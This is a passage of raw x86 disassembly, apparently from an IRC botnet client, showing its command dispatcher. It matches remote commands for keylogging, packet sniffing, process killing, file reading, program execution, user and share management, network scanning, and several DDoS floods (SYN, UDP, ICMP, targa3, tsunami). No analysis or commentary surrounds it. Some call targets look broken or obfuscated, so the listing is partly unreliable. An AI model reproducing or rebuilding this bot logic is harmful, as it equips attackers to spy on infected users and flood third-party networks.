call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409471
push edi
push offset aSe ; "se"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409471
push edi
push offset aDns ; "dns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409406
push edi
push offset aDn ; "dn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409406
push edi
push offset aKillproc ; "killproc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D6
push edi
push offset aKp ; "kp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D6
push edi
push offset aKill ; "kill"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409377
push edi
push offset aKi ; "ki"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409377
push edi
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933B
push edi
push offset aDel ; "del"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933B
push edi
push offset aGet ; "get"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925C
push edi
push offset aGt ; "gt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925C
push edi
push offset aList ; "list"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923A
push edi
push offset aLi ; "li"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923A
push edi
push offset aVisit ; "visit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409146
push edi
push offset aV ; "v"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409146
push edi
push offset aMirccmd ; "mirccmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40910F
push edi
push offset aMirc ; "mirc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40910F
push edi
push offset aCmd ; "cmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push edi
push offset aCm ; "cm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push edi
push offset aReadfile ; "readfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409028
push edi
push offset aRf ; "rf"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409028
push edi
push offset aPsniff ; "psniff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C7B
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C41
push 20h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405B6B
push offset dword_42B914
loc_405B66: ; DATA XREF: Themida_:00563E6Ao
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405B6B: ; CODE XREF: sub_401ACD+4092j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC4], eax
mov eax, [ebp+var_4]
mov [ebp+var_E3C], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E38], eax
jnz short loc_405BAD
mov esi, offset aF_1 ; "#f"
push offset dword_43D7D8
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405BAD
mov esi, [ebp+var_88]
loc_405BAD: ; CODE XREF: sub_401ACD+40C2j
; sub_401ACD+40D8j
push esi
lea eax, [ebp+var_EC0]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B8E4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_E40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC4]
push ebx
push eax
push offset byte_411FD5
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_E40]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_405C30
loc_405C1A: ; CODE XREF: sub_401ACD+4161j
cmp [ebp+var_E34], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2820566h
jmp short loc_405C1A
; ---------------------------------------------------------------------------
loc_405C30: ; CODE XREF: sub_401ACD+414Bj
nop
call near ptr 2830047h
push eax
push offset dword_42B8A8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405C41: ; CODE XREF: sub_401ACD+4082j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 20h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C71
push eax
push offset dword_42B86C
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405C71: ; CODE XREF: sub_401ACD+4197j
push offset dword_42B840
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405C7B: ; CODE XREF: sub_401ACD+406Bj
push edi
push offset aSniffer ; "sniffer"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405DCD
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405D93
push 21h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405CBD
push offset unk_42B818
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405CBD: ; CODE XREF: sub_401ACD+41E4j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_FEC], eax
mov eax, [ebp+var_4]
mov [ebp+var_F64], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_F60], eax
jnz short loc_405CFF
mov esi, offset aF_1 ; "#f"
push offset dword_43D7D8
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405CFF
mov esi, [ebp+var_88]
loc_405CFF: ; CODE XREF: sub_401ACD+4214j
; sub_401ACD+422Aj
push esi
lea eax, [ebp+var_FE8]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B7E8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_F68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FEC]
push ebx
push eax
push offset sub_412660
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_F68]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_405D82
loc_405D6C: ; CODE XREF: sub_401ACD+42B3j
cmp [ebp+var_F5C], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2820566h
jmp short loc_405D6C
; ---------------------------------------------------------------------------
loc_405D82: ; CODE XREF: sub_401ACD+429Dj
nop
call near ptr 2830047h
push eax
push offset unk_42B7AC
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405D93: ; CODE XREF: sub_401ACD+41D4j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 21h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DC3
push eax
push offset unk_42B76C
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405DC3: ; CODE XREF: sub_401ACD+42E9j
push offset unk_42B73C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405DCD: ; CODE XREF: sub_401ACD+41BDj
push edi
push offset aIdent ; "ident"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405EA2
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405E68
push 2
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405E0B
push offset dword_42B714
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405E0B: ; CODE XREF: sub_401ACD+4332j
lea eax, [ebp+var_2C4]
push offset dword_42B6E8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_4101FC
push ebx
push ebx
nop
call near ptr 282060Ah
imul esi, 234h
cmp eax, ebx
mov dword_43E574[esi], eax
jnz loc_40828B
nop
call near ptr 2830047h
push eax
push offset dword_42B6B4
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405E68: ; CODE XREF: sub_401ACD+4326j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 2
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E98
push eax
push offset dword_42B67C
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405E98: ; CODE XREF: sub_401ACD+43BEj
push offset dword_42B65C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405EA2: ; CODE XREF: sub_401ACD+430Fj
push edi
push offset aKeylog ; "keylog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40601F
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
mov edi, offset aFile ; "file"
test eax, eax
pop ecx
jz short loc_405F18
push [ebp+arg_10]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_405F18
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 23h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405F0E
push eax
push offset dword_42B610
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405F0E: ; CODE XREF: sub_401ACD+4434j
push offset dword_42B5E4
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405F18: ; CODE XREF: sub_401ACD+4400j
; sub_401ACD+440Fj
push 23h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405F2E
push offset dword_42B5C4
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405F2E: ; CODE XREF: sub_401ACD+4455j
mov eax, [ebp+arg_4]
push [ebp+arg_10]
mov [ebp+var_C5C], eax
mov eax, [ebp+var_4]
push edi
mov [ebp+var_BD4], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F5B
mov [ebp+var_BD0], 1
jmp short loc_405F64
; ---------------------------------------------------------------------------
loc_405F5B: ; CODE XREF: sub_401ACD+4480j
mov eax, [ebp+var_8]
mov [ebp+var_BD0], eax
loc_405F64: ; CODE XREF: sub_401ACD+448Cj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_405F8B
mov esi, offset aF_0 ; "#f"
push offset dword_43D7D8
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F8B
mov esi, [ebp+var_88]
loc_405F8B: ; CODE XREF: sub_401ACD+44A0j
; sub_401ACD+44B6j
push esi
lea eax, [ebp+var_C54]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B5A0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 23h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_C58], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C5C]
push ebx
push eax
push offset dword_411CF4
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_C58]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40600E
loc_405FF8: ; CODE XREF: sub_401ACD+453Fj
cmp [ebp+var_BCC], ebx
jnz loc_40828B
push 32h
call near ptr 2820566h
nop
jmp short loc_405FF8
; ---------------------------------------------------------------------------
loc_40600E: ; CODE XREF: sub_401ACD+4529j
call near ptr 2830047h
nop
push eax
push offset dword_42B564
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40601F: ; CODE XREF: sub_401ACD+43E4j
push edi
push offset aNet ; "net"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40626F
cmp dword_4CB6F4, ebx
jz short loc_40604E
cmp dword_4CB71C, ebx
jz short loc_40604E
push offset unk_42B528
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40604E: ; CODE XREF: sub_401ACD+456Dj
; sub_401ACD+4575j
cmp [ebp+var_C], ebx
jz loc_406CDE
mov edi, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp edi, ebx
jz short loc_406073
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_406073: ; CODE XREF: sub_401ACD+4596j
push [ebp+arg_10]
push offset aStart ; "start"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060C0
cmp edi, ebx
jz short loc_406094
push [ebp+arg_0]
push 3
jmp loc_406126
; ---------------------------------------------------------------------------
loc_406094: ; CODE XREF: sub_401ACD+45BBj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41895B
add esp, 0Ch
test eax, eax
jz short loc_4060B6
push offset unk_42B4FC
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_4060B6: ; CODE XREF: sub_401ACD+45DDj
push offset unk_42B4DC
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_4060C0: ; CODE XREF: sub_401ACD+45B7j
push [ebp+arg_10]
push offset aStop ; "stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060DA
push [ebp+arg_0]
push 4
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_4060DA: ; CODE XREF: sub_401ACD+4604j
push [ebp+arg_10]
push offset aPause ; "pause"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060F4
push [ebp+arg_0]
push 5
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_4060F4: ; CODE XREF: sub_401ACD+461Ej
push [ebp+arg_10]
push offset aContinue ; "continue"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40610E
push [ebp+arg_0]
push 6
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_40610E: ; CODE XREF: sub_401ACD+4638j
push [ebp+arg_10]
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406138
push [ebp+arg_0]
push 1
loc_406126: ; CODE XREF: sub_401ACD+45C2j
; sub_401ACD+460Bj ...
call sub_4186C1
pop ecx
pop ecx
loc_40612D: ; CODE XREF: sub_401ACD+46A1j
; sub_401ACD+4729j ...
push eax
push offset aS_1 ; "%s"
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_406138: ; CODE XREF: sub_401ACD+4652j
push [ebp+arg_10]
push offset aShare ; "share"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40619D
cmp edi, ebx
jz short loc_406170
cmp [ebp+var_8FC], bl
jz short loc_40615D
push ebx
push edi
push 1
jmp short loc_406166
; ---------------------------------------------------------------------------
loc_40615D: ; CODE XREF: sub_401ACD+4688j
push [ebp+esi+var_84]
push edi
push ebx
loc_406166: ; CODE XREF: sub_401ACD+468Ej
call sub_418A98
add esp, 0Ch
jmp short loc_40612D
; ---------------------------------------------------------------------------
loc_406170: ; CODE XREF: sub_401ACD+4680j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418C8E
add esp, 10h
test eax, eax
jz short loc_406193
push offset unk_42B494
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406193: ; CODE XREF: sub_401ACD+46BAj
push offset unk_42B474
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40619D: ; CODE XREF: sub_401ACD+467Cj
push [ebp+arg_10]
push offset aUser ; "user"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406228
cmp edi, ebx
jz short loc_4061FB
cmp [ebp+var_8FC], bl
jz short loc_4061CE
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push edi
push 1
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_4061CE: ; CODE XREF: sub_401ACD+46EDj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4061EA
push esi
push edi
push ebx
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_4061EA: ; CODE XREF: sub_401ACD+4716j
push ebx
push edi
push 2
loc_4061EE: ; CODE XREF: sub_401ACD+46FFj
; sub_401ACD+471Bj
call sub_418DAF
add esp, 18h
jmp loc_40612D
; ---------------------------------------------------------------------------
loc_4061FB: ; CODE XREF: sub_401ACD+46E5j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4192DF
add esp, 10h
test eax, eax
jz short loc_40621E
push offset unk_42B454
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40621E: ; CODE XREF: sub_401ACD+4745j
push offset unk_42B434
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406228: ; CODE XREF: sub_401ACD+46E1j
push [ebp+arg_10]
push offset aSend ; "send"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406265
cmp edi, ebx
jz short loc_40625B
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419593
add esp, 10h
jmp loc_40612D
; ---------------------------------------------------------------------------
loc_40625B: ; CODE XREF: sub_401ACD+4770j
push offset unk_42B408
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406265: ; CODE XREF: sub_401ACD+476Cj
push offset unk_42B3EC
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40626F: ; CODE XREF: sub_401ACD+4561j
push edi
push offset aCapture ; "capture"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFD
push edi
push offset aCap ; "cap"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFD
push edi
push offset aGethost ; "gethost"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D09
push edi
push offset aGh ; "gh"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D09
loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj
; sub_401ACD+3CECj ...
mov edi, [ebp+esi+var_88]
cmp edi, ebx
mov [ebp+arg_1C], edi
jz loc_401E94
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CEF
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CEF
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAC
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAC
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C57
push [ebp+arg_8]
push offset dword_42BBC0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C57
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEA
push [ebp+arg_8]
push offset aA ; "a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEA
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B86
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B86
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4A
push [ebp+arg_8]
push offset aM ; "m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4A
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADB
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADB
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A55
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A55
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E5
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E5
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089BF
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089BF
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895B
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895B
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408886
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408886
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878B
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878B
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408687
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408687
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E8
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E8
push [ebp+arg_8]
push offset aJpDe100 ; "jp]de100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408457
push [ebp+arg_8]
push offset aJp10 ; "jp]10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408457
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C4
push [ebp+arg_8]
push offset aE ; "e"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C4
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B5
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B5
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823E
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823E
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408141
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408141
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401E94
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408059
push [ebp+arg_8]
push offset aC ; "c"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408059
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4067D6
push 7Fh
lea eax, [ebp+var_327C]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_31FC]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_317C]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_30FC]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3074], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_3078], edi
mov [ebp+var_3280], esi
call sub_40B0F6
add esp, 3Ch
mov [ebp+var_307C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3280]
push ebx
push eax
push offset word_4146CE
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_307C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_4067C5
loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j
cmp [ebp+var_3070], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2820566h
jmp short loc_4067AF
; ---------------------------------------------------------------------------
loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j
call near ptr 2830047h
nop
push eax
push offset unk_42B25C
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_4067D6: ; CODE XREF: sub_401ACD+4C36j
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E78
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E78
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406903
push 7Fh
lea eax, [ebp+var_36A4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3624]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_35A4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3524]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A0], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_349C], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_36A8], esi
push [ebp+arg_10]
push offset dword_42B214
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_34A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36A8]
push ebx
push eax
push offset word_413626
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_34A4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_4068F2
loc_4068DC: ; CODE XREF: sub_401ACD+4E23j
cmp [ebp+var_3498], ebx
jnz loc_407278
push 32h
nop
call near ptr 2820566h
jmp short loc_4068DC
; ---------------------------------------------------------------------------
loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj
call near ptr 2830047h
nop
push eax
push offset dword_42B1D8
jmp loc_407269
; ---------------------------------------------------------------------------
loc_406903: ; CODE XREF: sub_401ACD+4D48j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D90
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D90
push [ebp+arg_8]
push offset aJpldg10 ; "jpldg10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C52
push [ebp+arg_8]
push offset aJpl10 ; "jpl10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C52
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B55
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B55
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A62
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A62
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795D
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795D
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407865
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407865
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401E94
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40775F
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40775F
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407298
push [ebp+arg_8]
push offset aAsc ; "asc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407298
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
